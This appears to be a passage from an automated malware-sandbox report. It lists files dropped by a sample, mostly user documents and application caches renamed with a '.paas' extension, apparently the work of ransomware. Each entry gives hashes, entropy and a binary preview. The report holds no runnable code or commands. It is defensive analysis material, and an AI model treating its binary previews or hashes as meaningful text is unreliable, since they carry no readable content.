Preview:	ZQIXM."....1...._..RD.TR.....72.....y.b..<A....M..Z."......t..@....{>..!.Q..\.P..x{....#....lW.....]A......"EB[/...M{.....q.9........._......gU.h.K...a8..<J>...E..G....$..S.EH....%.\...@Y.e...S...6.L.l5...B.....[......,0......O.J.../.....~s.f...!E.P.tp.tho..H.._..9.0.ei......x]g5@..+7Q........g.1.\vz."o.k.)F.nM+...C..\.5...=u'.M.}.z.x...m.2B...K.....[-....,...C.....wM..tg...K...Y...>...6.Q...A..p_.=c..h\.&f..=.M/..F.f..s.7E.0JIY.BK..A..SL.RU..h`..'S......E.e.T..d.4j.8R...._.....4...9..p.is....c`.D~..B.-}fgU.n.....7.m!......8A..#.....Br..YB.8.r`...Z.,G~.I7.....sy.0D;LL'..o.J.of&.:S.V.\|z.....H!..}.Z.5.^..Ib....b....mf&..Uht...n...3...3U^F..h...D}.W.A?."l{b6.......7..8...b1.2p.[p....y.'..Z..x;."q.K.!.m...,F.K..A%.)I....P..MV../n.j&..X.E1.2..5.X.\|IN.(o7..N.W.a....l3m..Y...#....m...(......l6..ao.[.c....{..V->.#..px.uT..d.n$.s.........-q.....f..mvW.r<...0.e.E....'..c......B's..[!huI....3.N........0..T.J... .C..*h.c......eJ....F.<.^=..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZTGJILHXQB.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8553008926898835
Encrypted:	false
SSDEEP:	24:8Zj9hHyqM3XhVmUX1qtjlARJh6KiYSz5cMaQz8YwDHMoj8bD:S50xX7mUXUVKiYSz5cIz8DnaD
MD5:	EB94C667BFE998B26B934E72D0A3EA51
SHA1:	DECE9BC42C1C9B05B836160110455A3A4FB3C7F4
SHA-256:	2FA632B8AAA14D11CCDDA0369BE2907EDC4D200FF0D22D9E1AC10BAD9999EAC4
SHA-512:	BEA809376BC55C81907B5579AC5EF1960AE0ECE62119C00FA0B371A510467BCDA44EC1E9DC3B5FB0DD2C3CAEC4E5F9BA3DB4BE30C83CA6CC9512E355A095C007
Malicious:	false
Preview:	ZTGJI....Ip\..d^d@:`.....w....L...b..S.i.>N&..p5..b......=..m..~....A.~..q...L....3).l.:).<F..r..G..]...=eL...N.0.cN(.8~Lx<.}..J".....qt......9h.!.....'Ou.c.i..Mg..t.Z....?.G....B...<..s:..^6.3.@=h..$L^.......3....,....c. ..m..p..."F..2..{0....c]U. dz..&...c._.).......OF...............R..d...<.........#.....Lu.Z>!F,.!..........8-.8....i........i..0M.V.)......zB..!R1.i.......j..P....m.Pc...M..N...R.....T.1..Y.+K8p~.PG..1+...+.-..'.j.............:p.,.._.../../X.....t6.......T...,&.Q7.03..R._... ...cJ...;...(wy.b....r.8a.0..+"Y5.A.......^.iv..A8>O.<r. )...(.......c.....st......%E.E..`D..h..]P............gR.BC..+.6..u.U.%..$...x.,H%......u..`.i.b..[..N.V;.i.&....@.:...N\....A.....#Jm...dH..?.....(b.2^...PY@A.Dl.K...i....U..".c9\.a...gb.l.^.M....`s"e.8.'..;.P.E4.....N n...t..._..m.Z.w...N.ny..\...Q .n....(..z.3.#$7g6.#."9.Ma.= "E.V\..Z.,.......+..,a.....<...9..U.}A . K~....)i.<].N&...u.a_@.y...w..............~..v?0..v.t;-.?P. .9...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZTGJILHXQB.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872278658564602
Encrypted:	false
SSDEEP:	24:88vrGJ0L8C0+P25GuSb1tq+CmSNq2jHFv0yv9QlCSS6zbD:Vvr/AC+5lSb1U5Nq2jLv9Q46nD
MD5:	367BA99927D082AD05A949AC21028705
SHA1:	54F60CE9BBA6332DE23FEF95E246F36274306643
SHA-256:	EAE94572F1FDF5D73C7AA63786A80867AC615505930A09F9371948E84E107B74
SHA-512:	7E8B8E673AFFE402ABCC80874B2D78D5390A6ECA18C3DE3FA404831EB9B31FCF2199F90D54A9726C463FB8A9C6636A7A95DB1C03F1367A78860C61A8959EEDF4
Malicious:	false
Preview:	ZTGJI...vN._.`~..9G........QO.FHt.H....+..:..'.....D...E...B.u.Y.P..8......cO.\|.:..~N\|...r.gnl....@^..LG.......pe.;V0z?.p.o.D..{..<.%f.~'.=......;.^:I.....`....}-....0.ocZ..W'&E..k......UzHL.:.9...J....K.J.0..L....W.....r.y....aDC.........!J.'(>4.NK.;P....l.2@h..@..Tp.%.$##X..N....!.9...6y.}Vz...>.....S.lBk...h.d]...#ys.\|.q...../(=PN..>..X.I.N.Y.x.c90'........}....JTy.#..~?..G....T.}[Q..3.y.CP......U..[......[...m......E....'[...IN.#....MW..'..'&....1`^py.\....Hc..a.i2.4,..~....Rt.......j.....zw.....qL.h.Ix.HW..R.G..X..SI)T.G#e.....t...=b....[..a...d..\|..Q.?s{n...k.Aa..M....(K.3.2;...C2.2.D..Dn..f.W?..fn.;....Q...W..].K$...WO...Ii.T......j..>..Z.$. .......+..q..Z(..BB.q.I.r............z.H......L..8.6......yg......i..w.NzpS.mFT.......$..>....O m@..).;..1J.>..`Ld....4....X. ...x..."w..9.mGY..vP..!...&o.<...\&.....P2'...H.Ry..+.D5...Wzk..X.G..R4;...u..%.Z.i..bLy..v.)i._...h.0...({.<....'7.`fDKUe.........1......\|....P..+.b.y~l*.....b.T....>$..3.U

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZTGJILHXQB.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857305061039842
Encrypted:	false
SSDEEP:	24:8HsdauaZj218TBVgg/r+PbqwyTHLtb5omfkE1mTn89fMDtS8NbbD:y3ZZ08TjdrxXCT8kDtFD
MD5:	F81104FA6F63444FC716C11939A2B50D
SHA1:	0D2AEE2253A0950EB80812544F2B3A6C1AEA2340
SHA-256:	E00B59FBADD21F09F1E6CCC3088F7BAFB072D7A0D8C0D8C256CB8E4FDA0ADCF3
SHA-512:	9DFB483DA074DEB0C5727C9D38DCCD50FEC176CC1FE015FD8AEDE2C04B6D6A4EF5D3553CCE6FEE420FD3150BB2E9570638D83D50F67A83CA6ED631466DB4EB8E
Malicious:	false
Preview:	ZTGJI.DIN..L..G......$."....R@)...5..c...5..m....JiY.]".#O....=.;..q.O@}.'.L.......\|5.T.T.W&mH.G.....9.jd.....6...?..f..2'.S.k.c.h.0a(k.....i.`..U.OQ....(..rh%l...vz..H..-xo>yZ...BV"y.\0....... ..&.\|.X...p.....`.....W.AR...vG..>.k.......Z..L.qw...]....d.(..1.............Zg.?.NUd...Q.!..-M.up.....\R...].....\|B......r.E....x.....!.4.Ip)..1.y#^.W..`......G.6.1...I^^'..t.L...^l....[Y......O"N.>.\@<..cr.v=..yW#....r..2"...j.(e1..1=x.(u`.......n..x........=.!..@y.N4..T.Y:9N.P)..tH...<v...i..;D3....m.+....O..Z...^...G....f.1..W.U......Ci..$.;.....L.E.......].U.@.=..W.~qW$...`.Y.5..?gP..).)hj...J:....R...@1..m.^6.%.B....+..6...%4.....9....CAR.?...6.PSjz~wz...E.0.}..3.....n...L5..y.QX.i...C....p...-.f.U...l..4.!..uF.Dw.=.4.\..nW.d\|.Z\|p.w....6..v.e..-_......?...7N.4...NOa....?.......K.fb;.=]...b.(.^X.........l-..s..@<..,;.f.D<K'.\|3(.."D....;n.$SG.n.r.c[..pI.\|...h..O,..X....(~..M.!..._.Iw..q...w..Q.g`:.I.@.<u.-.:./l.\|.v.:..*..^.;S.....E.$.C...K

C:\Users\user\Application Data\Skype\RootTools\roottools.conf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.469673065524485
Encrypted:	false
SSDEEP:	6:mjZNg4nTcq7n86imjRp3FlSkBthPGG/b0eicX/aahT0CVzoAHcoyFm8pdgU3ciik:+VTcSPXyo4eXnFyS2cii9a
MD5:	AC66FA51D20E417558DC527D7B7E9BB2
SHA1:	1C46ECB6CC939DFC3793E9C3F777E06FC2451AB7
SHA-256:	D57F7CF157D4ED75E438FCE6271F4878F3D775F1AC4E3C175A2AD2F388FBBC9C
SHA-512:	8B4041594141F2CADFD7B81E0753CB84E5FAD26AD2B5CFBDC7DC75FA443E8610CE5DD6984AB6713BF86BD04894CD9F5D09D5D74635B59A461FACB065905E9DA9
Malicious:	false
Preview:	node_..r...`m...R`.6..>....]<.~.........XD..9..9J.......?....]..q...p.k..[.K.......$..\Z...k.Sq..a.r..F.~.<%..aZ...R$uYH.A...gM..,...........~4.f..C.`...`.....F.#...S...u.t9....Y..'....@.b.{..a.....H...AF..\./:....W..5s.8....I]....E... ....G.\|H.C...N..Nk.(.h.~.. ......o8l...z%gpz.d._.%..xp.....v.......[.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.867514050481489
Encrypted:	false
SSDEEP:	24:XooUyVerVcy0MT6KvJk3osOJEEdtdrxMLAv0PfCnMc04Ewlt4m/FMFyCHEZm2ii5:4A4VcyWeJkYsOxCPfCn/EYtZ3CfXQD
MD5:	FC963A49FA093590620708F8DD108D7D
SHA1:	C6F1142A2D9A796842FB2BB227F00BB3059CEBBE
SHA-256:	23621E0A962163A1302B844E2902B76554E73B45283808A794343D027FD2B11D
SHA-512:	EC1A59B41BDF5A81C61A090F8A4C5D8F06504C01C48FBE9EC7C43B9391A423B8D40A6210AB5ED3820F372DC8C908B10D4E953DD4E8BFC36ADD45B7EC1B25F250
Malicious:	false
Preview:	%!Ado...}.G."f..f.B.z.8)th.[h.m.x..I..=V95(..`.[B..j...S..".......2.XS..cz...U.....>+...d.#.V.K_.....m..),.b.u...aE...:....l.\..v<..'/.e..}AN...r.ypwAY.....q6..!.V.!...6.....S..+6H..^.q.......h...D.)...\|....6.....z.4R....O.@..f.Yek.;uQ...`.....`...@KB.as8...1!..v..a.!..eDO.....F.s...V................$K..)'...........]...(!..]...X...u..A.n...n..Yi.TA..P.x.;'k...v....].Z...\...v.@%.......H....QR.&.....$.....8..M#........Q.Zu....]K..K.X...../w....C.}...y.U...'As8.....w.gi..Q0B..1....d..7..z..Z....p...].v9.>...Y.n..,..^.....\N)...w..._^.......\.n.$.&.....M..9^..>r.,.K...L9...B. (.3..B.}.P.)-.........=0.\|6...Ddw@6N..../...0....J=.T..p(e.#...2A.....%o.j...j.....I.....9(..K@i.......#.+.!#...&.nQ.d............8.O....Dl....pq$J8U..\|.@g_..,....Q;...2..[.K.H.........wVo.'E......DV..y)..,.a..q....0.::..q&...y..b..LCaJxT.h..Tr. ......S...`.k...._...u..4..6"l....my.bC.P.y.((.G..'k.q!t.].g...KQ.=Gq.......c......;...<.d3.T..xt&..{...2..P.....Q..q^..._

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87850110509758
Encrypted:	false
SSDEEP:	3072:uI4Kj264fGKrkzhoyt5VGFFx+r5No2RY1cudN0QKdoS84oieTJG1XE07ZmandGCE:X26yGKrkzSyt5VOFAjor3z0QKddvJ/1i
MD5:	AFB8339159FB75A5C06F07225EE04F3A
SHA1:	775504391B5EC25978708F2B9DE0D4108D72CF3B
SHA-256:	2F882B5BECABF11104F919C3CD6F36524DAF8000911DFA125ABDDABC711E7449
SHA-512:	7C2084B8A25728D867DC38425399588DD4D499E33B615DAB8D977152050F0B38886E8D4021E2D5A6625A7976A9BDE1A72F25A90D9E85EE85A2575CA7EC7FBC54
Malicious:	false
Preview:	%!Ado ...8.m.B..>/...\C.5..F......V`(=Xl.X..By8..._.q.e.D.D...J^.tQ.6.......5...,..Q...;a:...K.jF.8..~m8..c.....7......._..^..m...3.,>.......?A.u..W)..K}.y~,.z_.....i........T..@duZ.,...K.3.2..h.....$.R...o..i..v..u...1..:kn}#r.?.^...I.W"...].~Y....!.?f.0'..o...../".1r......+.f13{.....\...;uZ...R..1$......I..2.{.<<.`.b.0.....[^.I.x..."...H.V......<.+Xr.......Y?....4..&......d\|l\|BM..f...o...,x."K.5.B.....+v..@...@.!..5....RN.....#../KS.tB.G..t..ty&"......h.%&2..xj.]TF.......&...O#N.3&..ny.l&..9.8.M#1g./].]......W.9z...3..Tk.6.:w..q/..3..>...e@I+..Rj...r.r.yX..W.&W.6.<.&.a^,2..S.o.{[c.=.E.C....G(..j1.....lx?+t.(....z...Hd.."8.......5j...<.phH..[Ne.'.k.6.Z.......bv..."...9......&}..2.....@..\.R)..-;t.m\|>3..`.ui.............?.......@Vy.iQ...{..w.$F.H.f/.....f.~.U..2.?......x.4\|.....^.f....e.w.K..H.......P...........Z,N<da,..b$:K....[.Z...\|..p$.g6...C.o.....1`.....G.z.+%....[.x<e.>1(.:.>!..3.jd......m9.m.#...#..4@.LRsS.......n..`..B..M..P.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.820505497895925
Encrypted:	false
SSDEEP:	3072:f8zHT03sWnc86UxQaFIdCVonm/WFVsX+KE71Kx7CUnMhT4dabI+q1Dp2OolNln4:k7a6OWU1YiX+U7CUngdbItNYn4
MD5:	6F7DB3A89DCEA2EC739719F35DE8600F
SHA1:	5DC829384898FBF6169D1829A3BC051485E8DD2F
SHA-256:	1D9CA10E55379B3A153D767946A0D861681BAE405ACC75A4E4B1D360D7E1314C
SHA-512:	AA078A953B1E9FB784D2355ECC1621930A5CB0533D3549D9C82EF24FD2BF115DF26604085FF265186CCDB9587ADBDC83E072A979CDFA9CE35707195B70551423
Malicious:	false
Preview:	Adobe..5<^..\|.W.....q.C.......y...p...Fw.S...u.;.}U~%."k^...C:[../.{7.65...=..67.2...x$S2..j0^.RYM.....>..._.8.rt.X..t.n.).dcE..1.k......_WE.h..@.........N..:<..L.5~....gu..W..B_.."p..CE...AE1..Sb+.[.Z..j.g...".5I4..{3tCWrl..A..%..wn..!h...c.g.-...7}U.0S..qo..W..r......p~C...............DJg...E...u..+.@k..O....7[6@.g..-R.....H.....>.".3Y.Vf.w.......-..VS.K..v.#...y...r#..e.(....I..d.2...&.Y.\....oN....DB_...r(....\|.6_....^./:0C$.RiJ..m.2.A....{L...>....t.O.v.I........mpv..X.YS;..o.>...9../.3~hj...$..U...N...#..?!..-...!S..x36\W.......SF....... vN..Rb...bk...,C.7$.^.7.;.o..(..:.t.p..ju,K....r...8..0..=Q%$J.[.L!.....k4..h6.FM...Z'.IrB.....' .=.n..JuG.?.#g+C...=w.....z......7 ..WR....w..g..z.....(...,..0P..@6....9.oVc.H..4@.Q2F............e..D...V..l......q...h.`Z......j.U]....l\|.....p...$B...\.-......^8(9.83Uw\|kS..4..~..,..>W.4...t...._p.......J..'].....L.....&.L.. $.u.).......H4...p.......Lf..D.R6}..4..zi.1.<Q#...Mr]....g...K$.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997628525773527
Encrypted:	true
SSDEEP:	1536:7uAQRJ5Dd5AD7lUJJUyatiYGOFzztCdgCr70cfKJrW:7uPLAkTaQOy570cSJrW
MD5:	A628CB9F490ECCA6144CA60E510B0D4E
SHA1:	B85C5EE81474FE325EEC9CDB9524F2C640DA28C1
SHA-256:	877F887444284CE963A82B77C016A6230F1BFFFE5786E5EC3787A76255D8D584
SHA-512:	BBBB4B8E69EC07E9671269103A69F39B0EBF76A6C88B2293A33555218BB1FF21737DE6372EBA0419E666083CC535937D7734505E353CCBD9A98C56BDC80689B2
Malicious:	true
Preview:	4.397..M5{qH.`...,..^^.....r+}v......t.:LA.....d.OQ...."=...%....;K.....$.8...{O..2.ML.......3.".Jqe.Sq.rs..k\|..M.!....{.P..F\|.>g.4....E......P..z...1b.,A{D;A...Z.&m..2...s..P$......8...)'8..H..5h^........T%6..I....Gs.g...d<....Vn^........s.......8..V..6v.[....Fr\e..G.5+t.L....b.G.6m.H.h.=....y....Q.....%........+.$0.n .....L.+.Q......FJo.g.F...<.V8.9(c(,^.2...]..w\....hRhn.-..}..fz.. 0..._.<. .........1../........g...k..z..9C...h.~....(.q?...Hp.@...-w\|.....u.{.L.H.&T[.\....h..e.z.....m\+...=1..b......Z.l.m..e....;.z.>....t9W....2/.S....R...)(....)N...f.i..1...,.?....$?......)tSo.=..Kw..a.......TDM.%.,...-.....i=x.'{-...z.A......Y.bh.:1./..q"].U..g-$.+..Z..(\|...=i..(..K..)..(RNP..../...(Ix..a....5i'...-O.U.....M........Qu..ES{...i!..!h?eS.8.<<.....b.J.,."<.`..W...j.....?J6+.$..n.].d....0.MT..GKs.A..\...}+U$.J't..$y..W$...F...y..\|.>\..J...\.....]Cu..Y0Pr..`E2/..7..M...%.7.\.M^.,.Pv....o.X.C...@..O.3x5.S.QD.j..}7..oPJ..E..j.

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.741329133623105
Encrypted:	false
SSDEEP:	24:kpRUmOFMvz8we2lM+pvSJKcfStiF6jQZVVFobD:kpRuFeZa+BWKcqt+ryD
MD5:	FF3E40E57EADB42F3728D72C84C074D4
SHA1:	8DC7A4574B2F14653BE1673D6566D92AFFE829D6
SHA-256:	91203A02BF641C5953A67610C45E8745FBBBB1588024C2A69F0769686B703909
SHA-512:	714FF81B44F9A1DC286E5886C9083223ACA889A2C825DBEFE0AF5917E53884426FE78C0D3D0E582E8A428CD4CD3B16DB65A72654BEE58F47BA5A21EDD6F74EF2
Malicious:	false
Preview:	CPSA....K...Ul.....E.N`.;.2..D....<.-D^".4.B){i]......RI^. ..0.....a...A..J~..y)...._..e.?.......6.(.........I....}...r.t..u.A....r.s?&.:./.....}...'b.%v}!<.Z.b..O.s.Hb.{..9../.....z.Z$....n.......L?..v?..)Y....)....?.k..../..>.....[.7.zzS...aw...X.!@...E{.{..T`...y..).N.c..IM{V..R.g.3.QDO?c...c...@.......I. ...w.....B........O)..gm..i..>.s..a.C.....r..H._..`..k)V.$P.`...`...z..H.k..KN..X...3e...&.ee..ms..5.....e.^..).h.T.x.#.1..VlBcb...<.=g.S.5.(2-.&......d(.z./..{x..."C.c.>D......w.*H.j7./P\|.....@I.s.a.tk.&{..^.......s..(..a....>...g~.t...~w..,.Eq...<...(......x..EJ..2.N...)......H..CL....m.q-..`....4..`7w-...S.Gg...O..2..]....w..C....w..Tf_.k}.`.......!W...D..#..#R.I...RTA.m.W.........c...\...4r.u.2L...ZR..%X.-...M.D.B..{.ZG..i.Hx......U.@.m5.v2...q...g..z.[!.F........O8........i.7....@.....%..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976994986197679
Encrypted:	false
SSDEEP:	192:U5zoveXISO2MAZlN3gVVbKHL2GoghHQE5nIkYQUqZNO43No9Od753WQ6:U1ovrSO2VXgnb42zgFQ8IJQtVosdV3d6
MD5:	5DAC5101FB1C025E5C0316B06A5D8BFB
SHA1:	135F0EE04BC8B29BAAC69A3FAA9DAF76B77A88AA
SHA-256:	D781671B7A10D924EF95778194145A1C5823F10417E593171DA4CB6789EC69A5
SHA-512:	7D8FB3A874A058B5B8FB04D1571209C0EBAB76378741ACF29B8861E70E9B22DEA9D4ACC74C716F38754EB68F42DA8072F28A3FA77EF3FEBAB78140ED98207F69
Malicious:	false
Preview:	.M.#...m.Rt.......q.B.L.e.../hF.U.f..7+zaZA...D.E;}...{.....2.i..+.~.yV.6g..F....p.....q...4..p...>_...R....}.......<...u....M..-.#..Wq.4.#i$...{-..$...zZ..7T+B"..h...%../..-..k..............v1.?{.........0....Q......lbJ..5........-.(.......M...4Oc.]p(.bs5.\|..#...%s.KY..58K^.F..>5..c......d..c.1..@e!.!..LD7C.....,.o...s.../s%[{vDVow-.J..+6.D..m"3O.o......%.t.8b.f..F.P...G.p}..X......;r..#.\..'...Y`.....Pb...'.Ul..%c.9.G.O.C..~..'...]..\|.........)...... .l9)Y.]c........~km..e..0.60;.+.Y0:O.8.'..&.....A4.rgJM..r\|............+.=W.,...../.\.9.'......).w..6%<#<t.P2VBBc..../q.Z.e...#..0...{..D...(.r.1<m...g.....Q.. ...>........j.C..........X.!.0..0.(.x..[..:9...9.@W...TcJ......[f....%xz...$e?.....nL..z.^....N?h. ...#.o.......k..Q0..G..).,..:uwZwc...R...f.v5T`.`.....$......'.e"........W....0,..u.!!t(d.\|.....I1....qo...r...y.!.{.c........9w6.2p.vd.q.x.s5H/....dc6-.Q..vN..!.Sg...].\...i.9...27.F%...L.4w. ..u...z..)..k.d.`...r..Y..\|,.).{.....

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7334770137913078
Encrypted:	false
SSDEEP:	6144:5XNHFFKUpePTtUbgpMic6aKQ2s58NYfo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3A:fHDZATti+Zns+NYrfCdYSk
MD5:	748FEB9B38BDE72685869154999BB14A
SHA1:	EFB90C2F1A7E365E2C29E640AD710F972D6B21D8
SHA-256:	7EB32A840194A6779258610CFA5679C168A198995E0417427D3E8BB8C25AB164
SHA-512:	5C93C3A1031871C2D892FED8779EB725585F6D60DE7EF3119B73210F08976A0E617ABB3A518928EF6A81C60AF42CB36FDED485B8BFAE675BD97BAC719D3AFF9A
Malicious:	false
Preview:	...?..Ci(..S.....$t\.p3X......u.......4#3 ..H%...\.7E.?9JLr..b.o.#..\.T..1O..0e7..).~H.-.G ..L.$...7.w...`...oK....-H.q...Z...X.......&..?..FK.y3........_.T....<sLi.'>!M.....&.,..D.........\|'o.CI.k..y9m[.I...=.)o.PlgK3G..Sg.....TG....2.4M.90..A{.L.SQSz.<..]X..+h.X.U..K.........<....E"...P..<o..l.;oe99,.....X..o.[.-\|./E..r6A2...\m..D..F..E.......J.....o........`).%..9.>....:..w....y...=.pz.48.....>...5.q.....^3`..u.3..rak......T.Atg.R..T.U_.....RU.t.?....(./.qy.R..qeMQ.....p.N...]Fl.Q..+R1...C.....y.uG...`S.j.[.J...U.qN..Yl.!...Ao3B'.WrC...........=)..z....T......NL.tCO..Sa.R..T....[.5X.k....sE.i..Z%..e"...\..lY<..Xt.....L......%.{E\"....V...G{X...u.;.q......Qm.!ks..&...[..w.ZF4.%H/..j.....<.."BV.g..O.N....#J.mi...X.{~...m...-].8.l$..W..bN...Go.i.k...=...,mke..j....py.7,x.<BV).P..l!LT.m..a.w.e....M...S.C[.2.wRT.=.F.d...(.d.=j....!.2lT......:V.......e...._...yd.J.&.W.j.......~z..X...3h[..tc._....bxS.,..>I.-?....8;2......J.....m.

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705130771336434
Encrypted:	false
SSDEEP:	3072:2ANt612IrQ470qS1PKWeUS1EjWOVNZRbw0+1J0Gu7Z7TS6Gq6:2AZIX4BESxjXNfb3S67tz6
MD5:	6BD954BF0B4115954B2D52D699D52AC5
SHA1:	8A1DCDDA78C310764A7CE8C37353BEB33AE7FDF1
SHA-256:	1554B5190F4215B30842E2AEC4EFEFB007CD2DD6E6669567570A0AB525973E41
SHA-512:	02FC23E00DBD1A7547DDABA14FAF7A28112EFE7F9C75D05DCF51293E428348E3E67BD62F3743DF813B7E2F5968D403BE078CE4F93D9FB80912632431139B5119
Malicious:	false
Preview:	......r5s....o~..23....;...$^.}%.......s..A....[..n..p.lYK.<FR&;....$.e...}.zCyf;.B.w.k.4\|.P.<.9..{...6]R.....'. ...M..Z._B....[.u..R..1....=.fw....y.5...of..P...j.>~#D......+...jR.6.......?..\5.A.v.....AW.A.Tk..........E&6.w.8...SO..4..(^D=L.m.D..o....[C....+...V.......4.m.7JJ9...4.n...\|.T.\|.....v.d,.VK.0.6\.6.._.0...Q.84L.$U..6...8.-k).NA@]<....{r.{\.3..@..s.[....9..... [J...S..d.1.?]..$..;.h.P....p..6.w..u.....e.`...#.(......+@UhP...F..z..AC..P.......1Pp...S<......Y..(...^..K$..,.rd.T.;.........GM...a,..v....+s..Bc.Rt.tHF.[:"...9.Pl..C..l.Z.I.W..D.m~_I....Fxg.[f.Rj......IbSL.).....93.T'.:..th.P.{.a.,'.<.<...F.I.(Y..3y..........4..u?b...x....-G./...[. 7,..E....=..}.....e...V6....I...kR.Y..};.2.(..].>. .CG..#-(.0.5r....E....J..B7].u.._7....E..G:Iwfa.c!.A&X$.H.....%.....F.0B...@...H`.S.k.z.R......$".....4v..P}...=S....O.."~.\|.IH.....GG.k...&.\|LLU..{.......+_......Vd..?:}..6.......JO.g3...T....M\..q...."e..*.]...>.qrVN....._.o.$..o.5

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705898365399096
Encrypted:	false
SSDEEP:	6144:wKhU+9FBF0Ky93l1Z7by9YfUWFcBkxYRE4iX:wkt0593lzCYsBBk74Y
MD5:	322CBE559799FCA20E54D6858655022C
SHA1:	B6F0721DA21436E2A2AD4B12334D08F4B4C0D0B2
SHA-256:	E1DC2B1E8A30D640E0D8733575D652AAD5EF53D78CE4AAE7CB60CBCF5DDBCC1D
SHA-512:	67DBC959F10A43DCBF4EAAEB8608D7ADA0835074B5C6A5B6D9283ACA3462378CADC7ACC56132BADD63841D0F4A4896CDB2BB1093C1EC40E42EAADC89B3A7EBE3
Malicious:	false
Preview:	.....9.T..K..Uw.....'...g4R.... c..z.S..5.,....B..).d1....4..\|.....S{C.z..Y..../j. .v..Y.ow.]to.n$N3....4....K..X....%.......By..%..!.O....s=...W..a....Q..1.E..og..X.>.....Y....\|S..\K7)......?HeT.. .Q.g..^X.L..O.Oe....B.@.D.)...A......}....#I....]l{Z..56.6HS....Q...=2!.....I....J.d)<.........K..L...b..TU.....W..Q.w1...v.g.?..\r.y...vF../... ..wM.....g~.K..g..&..o%...d.C.&v....wB..<s...a.E<.\..z...Z.o]$.u.=9..^..H.6...>....}.N.#...'.s..mQ\|a...X.j.(.w.......S7`..'. .h..n~A.Q. .5.....y3._.F ..'`'.w7B...z."J.........t.....%K.D..U...R......z...Bh..i.....Q.d.....)......T....{.T`...lu/J.v_5.>Q.............I.O~....Y..U.C.ba{."...6+.M..g%..Oq.b,...[d^6..m..\..es...m..SQ...U.Hp..[.....55....pu.\...-...1.{Q...Z.L.... ..S..._)...5.!4...H.6.yS..~e..U...2...(f....v`$.......K8....~...`G^u..7.J."...i.4.5.N@.......t._..Hl....=.(Iz.....Fkx....I....Xf.J.-_ ...I.{.d.D]"..c..3...H.y..+..W....l5...O`..9..D....4g..f.Mr.n..[H..;..]..28...?.M.>.6.X.....'

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705876468911994
Encrypted:	false
SSDEEP:	3072:9Qu/AydS+GL7GlnM6LF/8tljsXEosT3z4IUSowaWPdiSaGUr5VJ:2u4ydSxGn+lwXsZoWU1VJ
MD5:	495CC7BA29ECBB91BA33022D5C28EAE1
SHA1:	0BFF34D06C84F0B7AF6E73D21C8DC5BE8510698A
SHA-256:	8B90D0BBE6F26B25D1F4B95789BE15FA4BDA5C0DB74A9522BB7D04CA74DDEB43
SHA-512:	F0BFF712D724851420125E628BBA87AE61331C886A78CBCA228187D90C86751F508798A06FEBE7A337E7AC97CB7140C41E8D79EE373A79A72B76453C41CF9751
Malicious:	false
